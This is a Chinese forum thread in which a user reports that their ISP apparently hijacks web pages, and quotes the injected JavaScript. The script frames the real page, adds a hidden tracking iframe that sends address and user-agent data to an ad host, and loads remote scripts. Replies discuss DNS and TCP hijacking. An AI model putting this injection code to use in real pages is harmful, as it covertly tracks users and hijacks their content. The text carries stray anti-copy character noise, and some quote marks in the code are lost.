上网奇遇记

hudba

上网易看新闻半天打不开，发现状态栏在现实访问一个奇怪的域名。心里一惊，难道电脑中毒了？赶紧查看源代码，发现后面加了一段js，真正的新闻内容给iframe了
* Q: b6 E* {: v% Z! N
* U) ^5 o! M7 U8 s接下来就是去搜索这个域名，得到v2ex里面也有人遇到这个问题，原来是运营商搞的鬼{:soso_e131:}

https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8

http://www.v2ex.com/t/142197

/ k4 f# d7 t# O7 B: k6 T
顺便查下ip138：

, _0 ?2 L/ E4 s) X( R+ L5 c这是那段js里面的代码，好象是个半成品还没写入广告数据：

1. function locationSearch() {
   
2.         var s = getMainJs();
   2 G4 [, H/ z5 Q( \9 W
3.         if (s == null) {
   
4.                 location.reload();
   
5.         }
   
6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
   1 _6 B/ d+ O7 B* c3 Q  q: U7 C4 A
7. }
   
8. 
   . O( }% C3 M0 X  _4 k' F
9. function getParameter(name, paraStr) {
   
10.         var result = "";
    2 e. v% M$ e7 M. B$ h
11.         var str = "&" + paraStr.split("?")[1];
    
12.         var paraName = "&" + name + "=";
    
13.         if (str.indexOf(paraName) != -1) {
    
14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {
    9 W4 f* ]5 ?$ E& ^3 u
15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);
    8 C, @% R, r- L* m" @( K
16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
    
17.                                         1, TmpStr.length).indexOf("&")
    0 W! s2 M/ O- k2 n& f# A! c
18.                                         - TmpStr.indexOf(paraName) + 1);
    5 z8 z! g: X7 A  D
19.                 } else {
      Q- J* I) L" i
20.                         result = str.substring(str.indexOf(paraName), str.length);
    
21.                 }
    3 {$ g0 F' g% @7 O
22. 
    ( Q* C5 T  j% o2 h7 a) H2 V# C
23.                 result = result.substring(result.indexOf("=") + 1, result.length);
    9 D' C( s. b4 n% o% [& Z, X1 {
24.         } else {
    7 e, {- P6 Q# c  T: @: [; K
25.                 result = "No such parameter";
    8 B( ^! f! K! B' u- C
26.         }
    3 `" a1 w0 v# p' {. T
27.         return (result.replace("&", ""));
    / u/ X; Q  M6 d+ L
28. }
    5 P2 g$ Y% ]6 _8 K) l
29. 
    
30. function getMainJs() {
    6 c4 Q5 K7 N8 {+ O4 [* ]
31.         var scripts = document.getElementsByTagName("script");
    
32.         var s = null;
    9 a; w3 w( ~$ i9 Y; {4 Y
33.         for (var i = 0; i < scripts.length; i++) {
    
34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
    5 y7 V# w1 X+ k( B
35.                         s = scripts[i];
    
36.                         break;
    : y& m! i) e7 `8 r2 @
37.                 }
    , @1 A; E2 y, x# o
38.         }
    0 S; {' ?% C3 s
39.         return s;
    , E% U' X! v5 R4 [- ~. A4 V! r
40. }
    
41. 
    % d! }* K7 v4 ~7 p% Z' [/ p6 f, X! |
42. function appendParam(oStr, aStr) {
    + N7 J3 B( a% h
43.         if (oStr.indexOf('?') > 0) {
    
44.                 oStr = oStr + "&" + aStr;
    0 i$ B% T4 U* D* f7 n  D) P
45.         } else {
    
46.                 oStr = oStr + "?" + aStr;
    9 G4 i' n2 r) I! `0 Q, P+ A! K
47.         }
    
48.         return oStr;
    
49. }
    
50. 
    
51. window.onerror = function() {
    
52. };
    % `! `8 y/ ]  H9 E5 }
53. 
    
54. var g_titleTime = 0;
    
55. function setTcTitle() {
    
56.         if (undefined == document) {
    ' A$ x6 d) y% Y) t3 T# \! t
57.                 g_titleTime++;
    ' f* k7 P! y- L- k; S
58.                 setTimeout("setTcTitle();", 1000);
    
59.                 return;
    - s& ^. @# s) a& i& {5 I
60.         }
    
61. 
    
62.         var doc;
    ) M! R) g$ d  k- \1 D# P; i. i
63.         try {
    % {  W- u! Y$ `) u& v4 L
64.                 if (document.all) {
    7 y) \( ]! O% I5 u0 Z, {& o+ ?
65.                         doc = document.frames["cn"].document;
    
66.                 } else {
    & \7 S4 ?7 U; c) a
67.                         doc = document.getElementById("cn").contentDocument;
    ; m# u+ v% a/ A5 S3 A2 O1 U: x" ^' j
68.                 }
    
69.         } catch (ex) {
    , A5 z: ]) H8 W
70.         }
    
71. 
    $ t! D( h8 E' d7 I5 q7 c" j
72.         if (g_titleTime < 5
    & z/ J& E+ t$ m9 @8 U
73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {
    - E' T% l: z7 o/ C
74.                 g_titleTime++;
    ' ?) w- c7 z$ g/ f
75.                 setTimeout("setTcTitle();", 1000);
    
76.                 return;
    " g: o7 }# {. R( r( [
77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    " S7 n! t' _8 k7 V  O. v. d
78.                 document.title = doc.title;
    8 x! ^7 h1 C7 _
79.                 setTcAdvVisible();
    & A' C) g& L  a% o! o% W- N
80.         }
    3 U8 V5 b3 J8 m+ ^* F# l
81. }
      ?/ S% [7 Y  b7 F+ v
82. 
    & ]. D& \! y# c4 R- U0 P9 k
83. setTimeout("setTcTitle();", 1000);
    ' o: Q; Z' F! \# l7 z
84. 
    ! k& y7 i! W- ^8 p. J
85. var g_isHaveVisible = false;
    * `  d* {/ q' ]" a/ D2 P6 }
86. function setTcAdvVisible() {
    
87.         if (undefined != document && undefined != document.getElementById("addiv")
    
88.                         && !g_isHaveVisible) {
    
89.                 document.getElementById("addiv").style.visibility = 'visible';
    
90.                 document.getElementById("addiv").style.display = 'block';
    5 k# J, b# U! y' W; Z5 _
91.                 g_isHaveVisible = true;
    
92.         }
    ) W+ o1 p# ?( c+ J" P
93. }
    
94. 
    
95. function UrlAnalyzer() {
    
96.         this.divda = "";
    
97.         this.tctype = "";
    
98.         this.radius = "";
    ! F" g: r! {8 L" X
99.         this.rlu = "";
    + I, p4 r- h+ a# f
100. }
     % r6 D* M6 J) L. L3 _5 z
101. 
     
102. UrlAnalyzer.prototype.initParameters = function() {
     
103.         var paraStr = locationSearch();
     
104.         this.rlu = getParameter("lruedct", paraStr);
     ' J1 E$ Q4 Z( `& a  g2 ~. j- @0 K
105.         this.divda = getParameter("divda", paraStr);
     $ q# n! X! ]. Y) a0 g7 C% }/ l
106.         this.radius = getParameter("radius", paraStr);
     
107.         this.tctype = getParameter("tctype", paraStr);
     
108.         this.address = getParameter("address", paraStr);
     
109.         this.usagent = getParameter("usagent", paraStr);
     9 _* B1 K  r, V1 x- O6 s/ Y
110. }
     ; F* Y/ n; f; b. _7 C) d# p
111. 
     . v0 D# Y1 p7 D% `. Y
112. UrlAnalyzer.prototype.getHtmlDoc = function() {
     ' y( C& ~6 ?; l7 k- ?, J
113.         var doc;
     3 W9 X$ P, s: {8 B+ _
114.         try {
     6 H  Z+ ^) y4 C- u" d
115.                 if (document.all) {
     
116.                         doc = document.frames["cn"].document;
     & N7 l% X5 c8 g' z$ R$ N
117. 
     
118.                 } else {
     ' Y, }* l" x$ Q% l  N; E6 D
119.                         doc = document.getElementById("cn").contentDocument;
     9 [3 m+ y, g: E; G
120.                         // doc = document.getElementById("cn").contentWindow.document;
     
121.                 }
     
122.         } catch (ex) {
     , n3 k* ?5 h1 b2 U7 Z  I
123.         }
     * m( H8 E2 z' J7 h) |; \( N: G
124.         return doc;
     , [" G+ k9 K" v, h- s
125. }
     + L$ E  k( G' w) H7 ?
126. 
     
127. UrlAnalyzer.prototype.setDomain = function() {
     8 H3 k) v2 y" e9 I' V9 d3 m
128.         if (undefined != document.title && "" == document.title)
     , Z" I1 F; q9 E$ M! r
129.         {
     ( g7 J" \0 Z; V
130.                 var index = document.domain.indexOf(".");
     
131.                 if (undefined != index && -1 != index) {
     
132.                         document.domain = document.domain.substring(index + 1,
     3 K/ u- p7 T. o; E' U6 B$ a
133.                                         document.domain.length);
     
134.                 }
     ( d! }: u2 y+ X$ }+ _& n
135.                
     
136.                 var doc = this.getHtmlDoc();
     ( p  {; t. Z& _1 A' ]# ?
137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {
     
138.                         document.title = doc.title;
     
139.                         setTcAdvVisible();
     
140.                 }
     
141.         }
     
142. }
     6 _; j$ i# L: j
143. 
     
144. UrlAnalyzer.prototype.iframeCallback = function() {
     
145.         var doc = this.getHtmlDoc();
     . x. A, a/ @9 s7 j) c+ o1 h
146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {
     
147.                 if (undefined != document.domain) {
     $ a9 }0 k: {2 `& }
148. 
     . Z6 g% V7 V" Y/ [3 M- N/ C
149.                         var self = this;
     
150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);
     2 s! e9 e, F! H2 l% P
151.                         // var index = document.domain.indexOf(".");
     7 h; Z4 N" j0 W9 _
152.                         // if (undefined != index && -1 != index) {
     & @& E0 [% Q( s8 V) O( U) E
153.                         // document.domain = document.domain.substring(index + 1,
     : _$ P- _. R. b+ V
154.                         // document.domain.length);
     
155.                         // }
     & c! e; d- o$ `  X1 t2 s$ z
156.                         //
     $ q- C0 x6 x! M) O
157.                         // var doc = this.getHtmlDoc();
     7 [6 o8 r# ]  _2 I) _$ s
158.                         // if (undefined != doc && undefined != doc.title && "" !=
     * w1 b* q# M( J' X
159.                         // doc.title) {
     
160.                         // document.title = doc.title;
     
161.                         // setTcAdvVisible();
     5 e$ {% S7 d9 G. M  ~
162.                         // }
     8 K5 m8 @% J# q+ {) g6 V
163.                 }
     
164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
     $ z. L' B. I5 l5 z  m2 f1 v# i
165.                 document.title = doc.title;
     
166.                 setTcAdvVisible();
     # W% }1 I2 f$ H: s9 r& F3 h$ ]
167.         }
     
168. }
     5 C. f- X1 _# l- j: q( e6 k
169. 
     4 F5 Q7 m1 r  D; f$ }, |. Z
170. UrlAnalyzer.prototype.executeHtmlContext = function() {
     
171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
     
172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;
     
173. 
     
174.         var htmlStr = "<iframe src="" + staUrl
     
175.                         + "" style="display:none"></iframe>";
     
176. 
     
177.         var advUrl = htmlStr
     
178.                         + "<script src="http://c2.sxite.com:8060/center?advId="
     % Q2 P/ i; u3 e6 Z; T: N
179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";
     # H' v# g) v5 W! p: P; B2 U9 b
180.         document.write(advUrl);
     
181. 
     8 b/ `# ^# x3 p" ?# W" @4 b/ r
182.         var self = this;
     
183.         var iframe = document.getElementById("cn");
     ) a; @6 y% S6 Z1 O* G% U- {
184.         if (iframe.attachEvent) {
     # E0 a1 c7 V6 U  j+ t: Y6 y% x( w1 ?6 M
185.                 iframe.attachEvent("onload", function() {
     ) i! a8 b! f1 C3 H  a
186.                         self.iframeCallback.call(self, null);
     4 H, A' \4 k& x. a" T
187.                 });
     ; @* L- q* Q! s- }& a$ o
188.         } else {
     
189.                 iframe.onload = function() {
     
190.                         self.iframeCallback.call(self, null);
     0 X: M) X3 [. k1 F6 r5 ]; n! E; T
191.                 }
     9 ]4 w: a7 ~2 B) n$ C
192.         }
     
193. }
     
194. 
     2 f1 g2 I" Y& v. g5 _% ?
195. UrlAnalyzer.prototype.executeMain = function() {
     ( o, ~1 T5 ?9 _  I
196.         var mainFrame = document.getElementById("cn");
     3 L2 \4 B( @# i1 A8 A" R1 c
197.         mainFrame.contentWindow.location.href = mainFrame.src;
     7 |2 ]1 Y! I) i- j% ]' Y) V
198.         this.initParameters();
     
199.         this.executeHtmlContext();
     
200. }
     
201. 
     & }: T" j" v2 D. d  o0 x
202. var g_analyzer = new UrlAnalyzer();
     6 w+ C  Z, ]$ ]4 P
203. g_analyzer.executeMain();
     1 {3 A2 Z3 E5 z9 B  Q

复制代码

+ e& \/ l- P' D4 E( B4 B: {

ads419

Welcome to China      

cissss

我在想有没有大牛会去干电信那个网页，那就发啦。哈哈

阿百川

所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

firearmer

法制不健全，没法。我这里也有电信绑架的问题，但你没辙，要国外，早赔的只剩内裤了。

老刘

电信DNS劫持不是一天两天了。国家垄断企业，没人能管”。。。

giveatry

我这段时间也遇到了，投诉了两次，这几天没出现了，再出现继续投诉

ads419

阿百川 发表于 2015-2-3 09:49
+ R8 R# K& T% a2 z7 l所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...

TCP劫持，换DNS也不管用的。

阿百川

ads419 发表于 2015-2-3 21:26
TCP劫持，换DNS也不管用的。

$ s$ G7 L' z% V9 k! a1 M幸好联通还木有这么强的技术

哈默

在国内，习惯就好